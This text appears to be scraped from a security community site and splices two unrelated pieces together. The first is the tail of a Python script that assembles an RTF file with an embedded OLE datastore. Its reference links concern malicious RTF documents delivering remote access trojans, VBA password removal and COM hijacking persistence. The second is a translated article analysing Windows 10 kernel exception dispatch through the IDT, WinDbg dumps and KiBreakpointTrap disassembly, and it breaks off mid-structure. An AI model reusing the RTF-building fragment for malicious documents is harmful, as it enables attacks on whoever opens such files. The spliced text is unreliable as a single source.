\lsdsemihidden0 \lsdunhideused0 \lsdpriority63 \lsdlocked0 Medium Shading 1;\lsdsemihidden0 \lsdunhideused0 \lsdpriority64 \lsdlocked0 Medium Shading 2;\lsdsemihidden0 \lsdunhideused0 \lsdpriority65 \lsdlocked0 Medium List 1;
\lsdsemihidden0 \lsdunhideused0 \lsdpriority66 \lsdlocked0 Medium List 2;\lsdsemihidden0 \lsdunhideused0 \lsdpriority67 \lsdlocked0 Medium Grid 1;\lsdsemihidden0 \lsdunhideused0 \lsdpriority68 \lsdlocked0 Medium Grid 2;
\lsdsemihidden0 \lsdunhideused0 \lsdpriority69 \lsdlocked0 Medium Grid 3;\lsdsemihidden0 \lsdunhideused0 \lsdpriority70 \lsdlocked0 Dark List;\lsdsemihidden0 \lsdunhideused0 \lsdpriority71 \lsdlocked0 Colorful Shading;
\lsdsemihidden0 \lsdunhideused0 \lsdpriority72 \lsdlocked0 Colorful List;\lsdsemihidden0 \lsdunhideused0 \lsdpriority73 \lsdlocked0 Colorful Grid;\lsdsemihidden0 \lsdunhideused0 \lsdpriority60 \lsdlocked0 Light Shading Accent 1;
\lsdsemihidden0 \lsdunhideused0 \lsdpriority61 \lsdlocked0 Light List Accent 1;\lsdsemihidden0 \lsdunhideused0 \lsdpriority62 \lsdlocked0 Light Grid Accent 1;\lsdsemihidden0 \lsdunhideused0 \lsdpriority63 \lsdlocked0 Medium Shading 1 Accent 1;
\lsdsemihidden0 \lsdunhideused0 \lsdpriority64 \lsdlocked0 Medium Shading 2 Accent 1;\lsdsemihidden0 \lsdunhideused0 \lsdpriority65 \lsdlocked0 Medium List 1 Accent 1;\lsdunhideused0 \lsdlocked0 Revision;
\lsdsemihidden0 \lsdunhideused0 \lsdqformat1 \lsdpriority34 \lsdlocked0 List Paragraph;\lsdsemihidden0 \lsdunhideused0 \lsdqformat1 \lsdpriority29 \lsdlocked0 Quote;\lsdsemihidden0 \lsdunhideused0 \lsdqformat1 \lsdpriority30 \lsdlocked0 Intense Quote;
\lsdsemihidden0 \lsdunhideused0 \lsdpriority66 \lsdlocked0 Medium List 2 Accent 1;\lsdsemihidden0 \lsdunhideused0 \lsdpriority67 \lsdlocked0 Medium Grid 1 Accent 1;\lsdsemihidden0 \lsdunhideused0 \lsdpriority68 \lsdlocked0 Medium Grid 2 Accent 1;
\lsdsemihidden0 \lsdunhideused0 \lsdpriority69 \lsdlocked0 Medium Grid 3 Accent 1;\lsdsemihidden0 \lsdunhideused0 \lsdpriority70 \lsdlocked0 Dark List Accent 1;\lsdsemihidden0 \lsdunhideused0 \lsdpriority71 \lsdlocked0 Colorful Shading Accent 1;
\lsdsemihidden0 \lsdunhideused0 \lsdpriority72 \lsdlocked0 Colorful List Accent 1;\lsdsemihidden0 \lsdunhideused0 \lsdpriority73 \lsdlocked0 Colorful Grid Accent 1;\lsdsemihidden0 \lsdunhideused0 \lsdpriority60 \lsdlocked0 Light Shading Accent 2;
\lsdsemihidden0 \lsdunhideused0 \lsdpriority61 \lsdlocked0 Light List Accent 2;\lsdsemihidden0 \lsdunhideused0 \lsdpriority62 \lsdlocked0 Light Grid Accent 2;\lsdsemihidden0 \lsdunhideused0 \lsdpriority63 \lsdlocked0 Medium Shading 1 Accent 2;
\lsdsemihidden0 \lsdunhideused0 \lsdpriority64 \lsdlocked0 Medium Shading 2 Accent 2;\lsdsemihidden0 \lsdunhideused0 \lsdpriority65 \lsdlocked0 Medium List 1 Accent 2;\lsdsemihidden0 \lsdunhideused0 \lsdpriority66 \lsdlocked0 Medium List 2 Accent 2;
\lsdsemihidden0 \lsdunhideused0 \lsdpriority67 \lsdlocked0 Medium Grid 1 Accent 2;\lsdsemihidden0 \lsdunhideused0 \lsdpriority68 \lsdlocked0 Medium Grid 2 Accent 2;\lsdsemihidden0 \lsdunhideused0 \lsdpriority69 \lsdlocked0 Medium Grid 3 Accent 2;
\lsdsemihidden0 \lsdunhideused0 \lsdpriority70 \lsdlocked0 Dark List Accent 2;\lsdsemihidden0 \lsdunhideused0 \lsdpriority71 \lsdlocked0 Colorful Shading Accent 2;\lsdsemihidden0 \lsdunhideused0 \lsdpriority72 \lsdlocked0 Colorful List Accent 2;
\lsdsemihidden0 \lsdunhideused0 \lsdpriority73 \lsdlocked0 Colorful Grid Accent 2;\lsdsemihidden0 \lsdunhideused0 \lsdpriority60 \lsdlocked0 Light Shading Accent 3;\lsdsemihidden0 \lsdunhideused0 \lsdpriority61 \lsdlocked0 Light List Accent 3;
\lsdsemihidden0 \lsdunhideused0 \lsdpriority62 \lsdlocked0 Light Grid Accent 3;\lsdsemihidden0 \lsdunhideused0 \lsdpriority63 \lsdlocked0 Medium Shading 1 Accent 3;\lsdsemihidden0 \lsdunhideused0 \lsdpriority64 \lsdlocked0 Medium Shading 2 Accent 3;
\lsdsemihidden0 \lsdunhideused0 \lsdpriority65 \lsdlocked0 Medium List 1 Accent 3;\lsdsemihidden0 \lsdunhideused0 \lsdpriority66 \lsdlocked0 Medium List 2 Accent 3;\lsdsemihidden0 \lsdunhideused0 \lsdpriority67 \lsdlocked0 Medium Grid 1 Accent 3;
\lsdsemihidden0 \lsdunhideused0 \lsdpriority68 \lsdlocked0 Medium Grid 2 Accent 3;\lsdsemihidden0 \lsdunhideused0 \lsdpriority69 \lsdlocked0 Medium Grid 3 Accent 3;\lsdsemihidden0 \lsdunhideused0 \lsdpriority70 \lsdlocked0 Dark List Accent 3;
\lsdsemihidden0 \lsdunhideused0 \lsdpriority71 \lsdlocked0 Colorful Shading Accent 3;\lsdsemihidden0 \lsdunhideused0 \lsdpriority72 \lsdlocked0 Colorful List Accent 3;\lsdsemihidden0 \lsdunhideused0 \lsdpriority73 \lsdlocked0 Colorful Grid Accent 3;
\lsdsemihidden0 \lsdunhideused0 \lsdpriority60 \lsdlocked0 Light Shading Accent 4;\lsdsemihidden0 \lsdunhideused0 \lsdpriority61 \lsdlocked0 Light List Accent 4;\lsdsemihidden0 \lsdunhideused0 \lsdpriority62 \lsdlocked0 Light Grid Accent 4;
\lsdsemihidden0 \lsdunhideused0 \lsdpriority63 \lsdlocked0 Medium Shading 1 Accent 4;\lsdsemihidden0 \lsdunhideused0 \lsdpriority64 \lsdlocked0 Medium Shading 2 Accent 4;\lsdsemihidden0 \lsdunhideused0 \lsdpriority65 \lsdlocked0 Medium List 1 Accent 4;
\lsdsemihidden0 \lsdunhideused0 \lsdpriority66 \lsdlocked0 Medium List 2 Accent 4;\lsdsemihidden0 \lsdunhideused0 \lsdpriority67 \lsdlocked0 Medium Grid 1 Accent 4;\lsdsemihidden0 \lsdunhideused0 \lsdpriority68 \lsdlocked0 Medium Grid 2 Accent 4;
\lsdsemihidden0 \lsdunhideused0 \lsdpriority69 \lsdlocked0 Medium Grid 3 Accent 4;\lsdsemihidden0 \lsdunhideused0 \lsdpriority70 \lsdlocked0 Dark List Accent 4;\lsdsemihidden0 \lsdunhideused0 \lsdpriority71 \lsdlocked0 Colorful Shading Accent 4;
\lsdsemihidden0 \lsdunhideused0 \lsdpriority72 \lsdlocked0 Colorful List Accent 4;\lsdsemihidden0 \lsdunhideused0 \lsdpriority73 \lsdlocked0 Colorful Grid Accent 4;\lsdsemihidden0 \lsdunhideused0 \lsdpriority60 \lsdlocked0 Light Shading Accent 5;
\lsdsemihidden0 \lsdunhideused0 \lsdpriority61 \lsdlocked0 Light List Accent 5;\lsdsemihidden0 \lsdunhideused0 \lsdpriority62 \lsdlocked0 Light Grid Accent 5;\lsdsemihidden0 \lsdunhideused0 \lsdpriority63 \lsdlocked0 Medium Shading 1 Accent 5;
\lsdsemihidden0 \lsdunhideused0 \lsdpriority64 \lsdlocked0 Medium Shading 2 Accent 5;\lsdsemihidden0 \lsdunhideused0 \lsdpriority65 \lsdlocked0 Medium List 1 Accent 5;\lsdsemihidden0 \lsdunhideused0 \lsdpriority66 \lsdlocked0 Medium List 2 Accent 5;
\lsdsemihidden0 \lsdunhideused0 \lsdpriority67 \lsdlocked0 Medium Grid 1 Accent 5;\lsdsemihidden0 \lsdunhideused0 \lsdpriority68 \lsdlocked0 Medium Grid 2 Accent 5;\lsdsemihidden0 \lsdunhideused0 \lsdpriority69 \lsdlocked0 Medium Grid 3 Accent 5;
\lsdsemihidden0 \lsdunhideused0 \lsdpriority70 \lsdlocked0 Dark List Accent 5;\lsdsemihidden0 \lsdunhideused0 \lsdpriority71 \lsdlocked0 Colorful Shading Accent 5;\lsdsemihidden0 \lsdunhideused0 \lsdpriority72 \lsdlocked0 Colorful List Accent 5;
\lsdsemihidden0 \lsdunhideused0 \lsdpriority73 \lsdlocked0 Colorful Grid Accent 5;\lsdsemihidden0 \lsdunhideused0 \lsdpriority60 \lsdlocked0 Light Shading Accent 6;\lsdsemihidden0 \lsdunhideused0 \lsdpriority61 \lsdlocked0 Light List Accent 6;
\lsdsemihidden0 \lsdunhideused0 \lsdpriority62 \lsdlocked0 Light Grid Accent 6;\lsdsemihidden0 \lsdunhideused0 \lsdpriority63 \lsdlocked0 Medium Shading 1 Accent 6;\lsdsemihidden0 \lsdunhideused0 \lsdpriority64 \lsdlocked0 Medium Shading 2 Accent 6;
\lsdsemihidden0 \lsdunhideused0 \lsdpriority65 \lsdlocked0 Medium List 1 Accent 6;\lsdsemihidden0 \lsdunhideused0 \lsdpriority66 \lsdlocked0 Medium List 2 Accent 6;\lsdsemihidden0 \lsdunhideused0 \lsdpriority67 \lsdlocked0 Medium Grid 1 Accent 6;
\lsdsemihidden0 \lsdunhideused0 \lsdpriority68 \lsdlocked0 Medium Grid 2 Accent 6;\lsdsemihidden0 \lsdunhideused0 \lsdpriority69 \lsdlocked0 Medium Grid 3 Accent 6;\lsdsemihidden0 \lsdunhideused0 \lsdpriority70 \lsdlocked0 Dark List Accent 6;
\lsdsemihidden0 \lsdunhideused0 \lsdpriority71 \lsdlocked0 Colorful Shading Accent 6;\lsdsemihidden0 \lsdunhideused0 \lsdpriority72 \lsdlocked0 Colorful List Accent 6;\lsdsemihidden0 \lsdunhideused0 \lsdpriority73 \lsdlocked0 Colorful Grid Accent 6;
\lsdsemihidden0 \lsdunhideused0 \lsdqformat1 \lsdpriority19 \lsdlocked0 Subtle Emphasis;\lsdsemihidden0 \lsdunhideused0 \lsdqformat1 \lsdpriority21 \lsdlocked0 Intense Emphasis;
\lsdsemihidden0 \lsdunhideused0 \lsdqformat1 \lsdpriority31 \lsdlocked0 Subtle Reference;\lsdsemihidden0 \lsdunhideused0 \lsdqformat1 \lsdpriority32 \lsdlocked0 Intense Reference;
\lsdsemihidden0 \lsdunhideused0 \lsdqformat1 \lsdpriority33 \lsdlocked0 Book Title;\lsdpriority37 \lsdlocked0 Bibliography;\lsdqformat1 \lsdpriority39 \lsdlocked0 TOC Heading;}}{\*\datastore 010500000200000018000000
4d73786d6c322e534158584d4c5265616465722e362e3000000000000000000000060000
d0cf11e0a1b11ae1000000000000000000000000000000003e000300feff090006000000000000000000000001000000010000000000000000100000feffffff00000000feffffff0000000000000000ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
fffffffffffffffffdfffffffeffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
ffffffffffffffffffffffffffffffff52006f006f007400200045006e00740072007900000000000000000000000000000000000000000000000000000000000000000000000000000000000000000016000500ffffffffffffffffffffffff0c6ad98892f1d411a65f0040963251e500000000000000000000000060f3
3caf58aed501feffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffff00000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffff0000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffff000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000105000000000000}}"""
outfile=open('output.rtf','w',encoding='utf-8')
outfile.write(string1)
outfile.write("".join(str))
outfile.write(string2)
outfile.close()
## 0x09 参阅链接
[remove_vba_project_password](https://gist.github.com/ndthanh/65483efab3939ab3c78f0773af40333f)
[如何破解解除Excel
VBA工程密码](https://www.office26.com/excelhanshu/excel_function_6373.html)
[Malicious RTF document leading to NetwiredRC and Quasar
RAT](https://www.zscaler.com/blogs/security-research/malicious-rtf-document-leading-netwiredrc-and-quasar-rat)
[COM
Hijacking](https://payloads.online/archivers/2018-10-14/1#0x03-com-%E7%BB%84%E4%BB%B6%E5%8A%AB%E6%8C%81%E6%A1%88%E4%BE%8B)
[持久性COM劫持的实现](https://www.4hou.com/posts/Mo51) | 社区文章 |
# 从CPU到内核/到用户态全景分析异常分发机制——内核接管[1]
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0、引言
继前一篇《从CPU到内核/到用户态全景分析异常分发机制——硬件基础及Hook》讲完硬件部分的内容之后，现在来看看OS如何和CPU“相亲相爱”合谋完成这一伟大壮举的。别高兴太早，这才是软件层面着手开始处理的万里长城第一步。好在第一步还是迈出去了，本篇将详细分析OS如何接管，如何管理异常的。注意我们这里分析的是基于Win10
16299版本，IA64架构的CPU。
整个系列涉及到的知识：
0、内核栈与用户栈隔离机制；
1、权限切换时，栈顶位置提供方式【有点拗口。。。】
2、CPU异常与中断概念与区别；
3、Intel架构中的IDT表与ISR；
4、Windows内核中内核异常分发；
5、Windows内核中用户态异常分发；
6、在调试器里查看PIC中断和APIC中断；
7、KPCR,KPRCB,KTRAP_FRAME；
## 1、简析硬件基础——IDT表及表结构——在内核调试器中手动解析之
### 1.1 IDT表结构分析
异常是谁先发现的？【注意，此处说的是异常不是中断，中断和异常最好当作两个不同的对象处理，是有本质区别的】当然是CPU，以断点为例子简单说明其过程。CPU内部的取指单元从总线中取到下一条将要执行的指令，交友译码单元进行译码，然后交给EU单元即执行单元进行执行，EU单元一看，喔嚯，是0xcc，这是个断点异常啊，赶紧的，把这个情况给OS报告下？咋报告？当然是用软硬件协商好的IDT表了，先看下intel
cpu定义的这张表，
三号异常被安排的妥妥的，是Breakpoint，Type也是Trap，Trap的意思就是“明知山有虎，偏往虎山行”。Source是int
3指令，所谓的源就是cpu可能通过什么方式触发其进入到这里。看到这么个简单的表应该还不满足，还应该看看这个表的每个表项的”结构“，其实很多逆向啊，破解啊之类的事情都是在分析结构，具体讲就是分析处哪些字段，各自什么意思。IDT表的表项如下：
着重看下Trap Gate门描述符，简单说明下各个字段的含义，
1、Offset31:16+Offset15:0
共计32bit位，组成了一个4Byte的指针，这个4Byte的指针指向的正是OS里边负责接管的具体的异常处理函数。
2、DPL描述了可以访问该描述符的最低权限，比较肯定会涉及到两方，DPL是以防，那另一方呢？大家可还记得CS段选择子的最后两个bit位，他们称之为CPL，即当前权限级别，指的就是当前CPU的权限级别，2个bit位共计四种权限状态，就是所谓的Ring0，Ring1，Ring2，Ring3。然Windows和Linux亦或其他各种OS都只使用了两个Ring。Intel想象很美好，现实就是这么骨干。不买账。
3、P表明当前这个段是否存在，段不存在是啥意思呢？有一种情况是该IDT表被倒到硬盘上去了。
4、D这个bit位表明的是当前的段大小，32位或者16位，这也就解释了为啥32位的Fun地址被拆分开来，那是因为Intel需要兼容之前的16位的CPU即80286，80286可是个“伪”的保护模式CPU；
5、Segment Selector：这个用以说明当前这个段所属的是数据段，还是代码段，向上增长还是向下增长？这个去看下GDT表即可知道。
好了，基本的字段解释完毕了，可有个问题，我们今年分析的是64位的CPU，内核当然是64位的，你这里的Offset是32位的，当然不对，确实，上边给大家看的是32位的CPU中IDT表的结构，下边再来看看64位的IDT结构：
只有一个字段需要解释，那就是IST，解释这个之前大家先考虑一下这个问题：用户态中断发生时，CPU需要切回到内核态，而内核态的栈必然与用户态的栈是隔离的。【大家伙考虑下，如果栈不隔离，会不会有安全问题？】既然需要切换栈，那么栈地址的位置是怎么找到的呢？提示下大家int
2e陷阱门进内核时，内核栈是怎么提供的，syscall快速指令进内核是，内核栈是如何通过MSR寄存器提供的，留作大家的作业吧。这里的IST是另外一种方式提供内核栈。
至此，理论部分全部讲解完毕，下边我们来做实验看看内核和调试器如何配合完成这项壮举的。
### 1.2 调试器是如何配合的
好了，下边调试一个实际的程序看下，调试器又是如何配合的。
大家意不意外，惊不惊喜，居然不是0xcc，也不是int
3；太意外了把。调试器失灵了？当然不是，要是真的失灵了，程序就不会在这断下来了。那又是为何？别急，祭出我们的杀器——Windbg，来一探究竟。再次附加到当前这个被调试进程，别紧张，我知道你以前没这么玩过——一个进程可可以被两个调试器同时调。这是假象，另一个调试器只是看看数据，调不了的。如下：
真相了，原来是VS2010的调试器“玩阴的”，故意不给你显示，其实所有调试器内部都会维护一个断点列表之类的数据结构，当你查询某些指令空间时，他会遍历这个结构，还原出原来的真是指令数据给你看。为什么他要这么做？因为intel的CPU时CISC架构的，如果某一个字节错了，可能导致后边整个解码到反汇编都错了，这样的话你还不砸锅了。比如下边的图所示：
哎，各个调试器之间相互拆台，哈哈。
### 1.3 内核调试器手动解析IDT表结构
第一个蹦出来的问题是：怎么找到IDT表？熟读intel白皮书300遍，不会写来一会找，哈哈。有个寄存器，IDTR专门负责记录IDT表的位置。里边的值是OS填进去的，因为IDT表是OS负责构建的，当然只有它知道具体的地址罗。另外，问大家一个问题，IDTR中的地址是物理地址还是虚拟地址啊？
如下：
1: kd> r idtr
idtr=ffffc581e9ad1000
1: kd> dq ffffc581e9ad1000
ffffc581`e9ad1000 30728e00`00100100 00000000`fffff802
ffffc581`e9ad1010 30728e04`00100180 00000000`fffff802
ffffc581`e9ad1020 30728e03`00100200 00000000`fffff802
ffffc581`e9ad1030 3072ee00`00100280 00000000`fffff802
ffffc581`e9ad1040 3072ee00`00100300 00000000`fffff802
ffffc581`e9ad1050 30728e00`00100380 00000000`fffff802
ffffc581`e9ad1060 30728e00`00100400 00000000`fffff802
ffffc581`e9ad1070 30728e00`00100480 00000000`fffff802
按照之前的64位模式的IDT表结构进行拆分可得处理函数的地址为：0xfffff80230720280，验证下，看看这个地址到底是啥：
嗯，到这CPU硬件做的事情就基本告一段落了。下边我们迈入内核的大门。继续前行。
## 2.Windows内核中对异常的处理
### 2.1 KiBreakpointTrapShadow 分析
KiBreakpointTrapShadow的源码如下
KVASCODE:0000000140292280 KiBreakpointTrapShadow proc near
KVASCODE:0000000140292280
KVASCODE:0000000140292280 arg_0 = byte ptr 8
KVASCODE:0000000140292280 arg_20 = byte ptr 28h
KVASCODE:0000000140292280
KVASCODE:0000000140292280 test [rsp+arg_0], 1
KVASCODE:0000000140292285 jz short loc_1402922C6
KVASCODE:0000000140292287 push rax
KVASCODE:0000000140292289 push rsi
KVASCODE:000000014029228A swapgs
KVASCODE:000000014029228D mov rsi, gs:7000h ; KPCR.KPRCB.KernelDirectoryTableBase
KVASCODE:0000000140292296 bt dword ptr gs:7018h, 1 ; KPCR.KPRCB.ShadowFlags
KVASCODE:00000001402922A0 jb short loc_1402922A5
KVASCODE:00000001402922A2 mov cr3, rsi
KVASCODE:00000001402922A5
KVASCODE:00000001402922A5 loc_1402922A5: ; CODE XREF: KiBreakpointTrapShadow+20↑j
KVASCODE:00000001402922A5 lea rsi, [rsp+10h+arg_20]
KVASCODE:00000001402922AA mov rsp, gs:7008h ; KPCR.KPRCB.RspBaseShadow
KVASCODE:00000001402922B3 push qword ptr [rsi-8] ; SS
KVASCODE:00000001402922B6 push qword ptr [rsi-10h] ; RSP
KVASCODE:00000001402922B9 push qword ptr [rsi-18h] ; EFLAGS
KVASCODE:00000001402922BC push qword ptr [rsi-20h] ; CS
KVASCODE:00000001402922BF push qword ptr [rsi-28h] ; RIP
KVASCODE:00000001402922C2 mov rsi, [rsi-38h]
KVASCODE:00000001402922C6
KVASCODE:00000001402922C6 loc_1402922C6: ; CODE XREF: KiBreakpointTrapShadow+5↑j
KVASCODE:00000001402922C6 jmp KiBreakpointTrap
该函数需要仔细分析下，如下：
1、当中断或者异常发生时，CPU硬件都会自动的往栈里边压入SS,RSP,EFLAGS,CS,RIP的值,所以第一行指令：
test [rsp+arg_0], 1
取出的是CS的值，注意此时的rsp的值。也即是判断cs的值的最后一位是否为1：
若为1：则说明是从Ring3进入Ring0的；
若为0：则说明原先就是Ring0的；
区分这两个的原因是：内核栈与用户态栈是分开的，需要做栈的切换。这个从代码中 就可看出。
2、执行swapgs指令，swapgs指令的作用就是从MSR中读取出GS段的基地址。因为GS在用户态中指向的数据结构是TEB，而进入内核之后，GS需要指向KPCR，那这个地址在哪呢？在MSR中，如下所示：
下边做实验看下MSR中0xC000_0101处的值到底是多少。
那这个KPCR是啥嘞，在内核中，每个逻辑核都有这么一个结构体，代表着CPU核心。下边简单看下这个 结构：
多么熟悉的结构啊，多么熟悉的字段啊
可能眼尖的朋友已经看到了，源码中取的gs:7000数据，这里的结构体才最多偏移0x180不够呀。其实最后一个KPRCB才是KPCR最重要的，它记录了相当多的数据。如下：
好了，这里减去180的原因是将其转换为相对于KPRCB的偏移。这与代码中的取内核的页表机制就对上了。这里需要特别说明下，Win10中同一个进程用户态页表和内核态页表是不同的，做了页表隔离。
3、KPCR.KPRCB.ShadowFlags当然就是决定是否启用这种隔离机制罗。启用的话就直接切换页表基地址了，也即切换CR3的值；
4、最后几行代码很简单了，切换到指定的内核栈，然后讲中断时记录的5个寄存器的值压栈，然后跳去执行KiBreakpointTrap；
### 2.2 KiBreakpointTrap分析
KiBreakpointTrap代码如下：
.text:00000001401812C0 KiBreakpointTrap proc near ; CODE XREF: KiBreakpointTrapShadow:loc_1402922C6↓j
.text:00000001401812C0
.text:00000001401812C0 var_13D = byte ptr -13Dh
.text:00000001401812C0 var_138 = qword ptr -138h
.text:00000001401812C0 var_130 = qword ptr -130h
.text:00000001401812C0 var_128 = qword ptr -128h
.text:00000001401812C0 var_120 = qword ptr -120h
.text:00000001401812C0 var_118 = qword ptr -118h
.text:00000001401812C0 var_110 = qword ptr -110h
.text:00000001401812C0 var_108 = qword ptr -108h
.text:00000001401812C0 arg_0 = byte ptr 8
.text:00000001401812C0
.text:00000001401812C0 sub rsp, 8
.text:00000001401812C4 push rbp
.text:00000001401812C5 sub rsp, 158h
.text:00000001401812CC lea rbp, [rsp+80h]
.text:00000001401812D4 mov [rbp+0E8h+var_13D], 1
.text:00000001401812D8 mov [rbp+0E8h+var_138], rax
.text:00000001401812DC mov [rbp+0E8h+var_130], rcx
.text:00000001401812E0 mov [rbp+0E8h+var_128], rdx
.text:00000001401812E4 mov [rbp+0E8h+var_120], r8
.text:00000001401812E8 mov [rbp+0E8h+var_118], r9
.text:00000001401812EC mov [rbp+0E8h+var_110], r10
.text:00000001401812F0 mov [rbp+0E8h+var_108], r11
.text:00000001401812F4 test [rbp+0E8h+arg_0], 1
.text:00000001401812FB jnz short loc_140181329
.text:00000001401812FD test word ptr gs:278h, 40h
.text:0000000140181308 jnz short loc_140181312
.text:000000014018130A lfence
.text:000000014018130D jmp loc_1401815A8
.text:0000000140181312 ; ---------------------------------------------------------------------------
.text:0000000140181312
.text:0000000140181312 loc_140181312: ; CODE XREF: KiBreakpointTrap+48↑j
.text:0000000140181312 movzx eax, byte ptr gs:27Ah
.text:000000014018131B mov ecx, 48h
.text:0000000140181320 xor edx, edx
.text:0000000140181322 wrmsr
.text:0000000140181324 jmp loc_1401815A8
.text:0000000140181329 ; ---------------------------------------------------------------------------
.text:0000000140181329
.text:0000000140181329 loc_140181329: ; CODE XREF: KiBreakpointTrap+3B↑j
.text:0000000140181329 test cs:KiKvaShadow, 1
.text:0000000140181330 jnz short loc_140181335
.text:0000000140181332 swapgs
.text:0000000140181335
.text:0000000140181335 loc_140181335: ; CODE XREF: KiBreakpointTrap+70↑j
.text:0000000140181335 mov r10, gs:188h
.text:000000014018133E mov rcx, gs:188h
.text:0000000140181347 mov rcx, [rcx+220h]
.text:000000014018134E mov rcx, [rcx+838h]
.text:0000000140181355 mov gs:270h, rcx
.text:000000014018135E movzx edx, word ptr gs:278h
.text:0000000140181367 test edx, 20h
.text:000000014018136D jz short loc_1401813C6
.text:000000014018136F test edx, 200h
.text:0000000140181375 jz short loc_14018137F
.text:0000000140181377 lfence
.text:000000014018137A jmp loc_14018141D
.text:000000014018137F ; ---------------------------------------------------------------------------
.text:000000014018137F
.text:000000014018137F loc_14018137F: ; CODE XREF: KiBreakpointTrap+B5↑j
.text:000000014018137F test rcx, rcx
.text:0000000140181382 jnz short loc_1401813CE
.text:0000000140181384 test edx, 100h
.text:000000014018138A jnz short loc_1401813C6
.text:000000014018138C test edx, 3
.text:0000000140181392 jz short loc_1401813C6
.text:0000000140181394 mov eax, 2
.text:0000000140181399 test edx, 2
.text:000000014018139F jnz short loc_1401813A6
.text:00000001401813A1 mov eax, 1
.text:00000001401813A6
.text:00000001401813A6 loc_1401813A6: ; CODE XREF: KiBreakpointTrap+DF↑j
.text:00000001401813A6 cmp al, gs:27Ah
.text:00000001401813AE jz short loc_1401813C6
.text:00000001401813B0 mov gs:27Ah, al
.text:00000001401813B8 mov ecx, 48h
.text:00000001401813BD xor edx, edx
.text:00000001401813BF wrmsr
.text:00000001401813C1 jmp loc_14018154A
.text:00000001401813C6 ; ---------------------------------------------------------------------------
.text:00000001401813C6
.text:00000001401813C6 loc_1401813C6: ; CODE XREF: KiBreakpointTrap+AD↑j
.text:00000001401813C6 ; KiBreakpointTrap+CA↑j ...
.text:00000001401813C6 lfence
.text:00000001401813C9 jmp loc_14018154A
.text:00000001401813CE ; ---------------------------------------------------------------------------
.text:00000001401813CE
.text:00000001401813CE loc_1401813CE: ; CODE XREF: KiBreakpointTrap+C2↑j
.text:00000001401813CE test edx, 1
.text:00000001401813D4 jnz short loc_140181407
.text:00000001401813D6 test edx, 2
.text:00000001401813DC jz short loc_1401813F4
.text:00000001401813DE mov eax, 2
.text:00000001401813E3 mov gs:27Ah, al
.text:00000001401813EB mov ecx, 48h
.text:00000001401813F0 xor edx, edx
.text:00000001401813F2 wrmsr
.text:00000001401813F4
.text:00000001401813F4 loc_1401813F4: ; CODE XREF: KiBreakpointTrap+11C↑j
.text:00000001401813F4 mov eax, 1
.text:00000001401813F9 xor edx, edx
.text:00000001401813FB mov ecx, 49h
.text:0000000140181400 wrmsr
.text:0000000140181402 jmp loc_14018154A
.text:0000000140181407 ; ---------------------------------------------------------------------------
.text:0000000140181407
.text:0000000140181407 loc_140181407: ; CODE XREF: KiBreakpointTrap+114↑j
.text:0000000140181407 mov eax, 1
.text:000000014018140C mov gs:27Ah, al
.text:0000000140181414 mov ecx, 48h
.text:0000000140181419 xor edx, edx
.text:000000014018141B wrmsr
.text:000000014018141D
.text:000000014018141D loc_14018141D: ; CODE XREF: KiBreakpointTrap+BA↑j
.text:000000014018141D test word ptr gs:278h, 4
.text:0000000140181428 jnz short loc_1401813C6
.text:000000014018142A call sub_14018153D
.text:000000014018142A KiBreakpointTrap endp ;
这段代码的主要作用是构建出一个KTRAP_FRAME结构。KTRAP_FRAME这个结构详细记录了从Ring3进来时，Ring3的上下文，可以直接理解为Ring3中的CONTEXT结构体，只不过记录的数据要多很多。结构体如下：
1: kd> dt _KTRAP_FRAME
nt!_KTRAP_FRAME
+0x000 P1Home : Uint8B
+0x008 P2Home : Uint8B
+0x010 P3Home : Uint8B
+0x018 P4Home : Uint8B
+0x020 P5 : Uint8B
+0x028 PreviousMode : Char
+0x029 PreviousIrql : UChar
+0x02a FaultIndicator : UChar
+0x02a NmiMsrIbrs : UChar
+0x02b ExceptionActive : UChar
+0x02c MxCsr : Uint4B
+0x030 Rax : Uint8B
+0x038 Rcx : Uint8B
+0x040 Rdx : Uint8B
+0x048 R8 : Uint8B
+0x050 R9 : Uint8B
+0x058 R10 : Uint8B
+0x060 R11 : Uint8B
+0x068 GsBase : Uint8B
+0x068 GsSwap : Uint8B
+0x070 Xmm0 : _M128A
+0x080 Xmm1 : _M128A
+0x090 Xmm2 : _M128A
+0x0a0 Xmm3 : _M128A
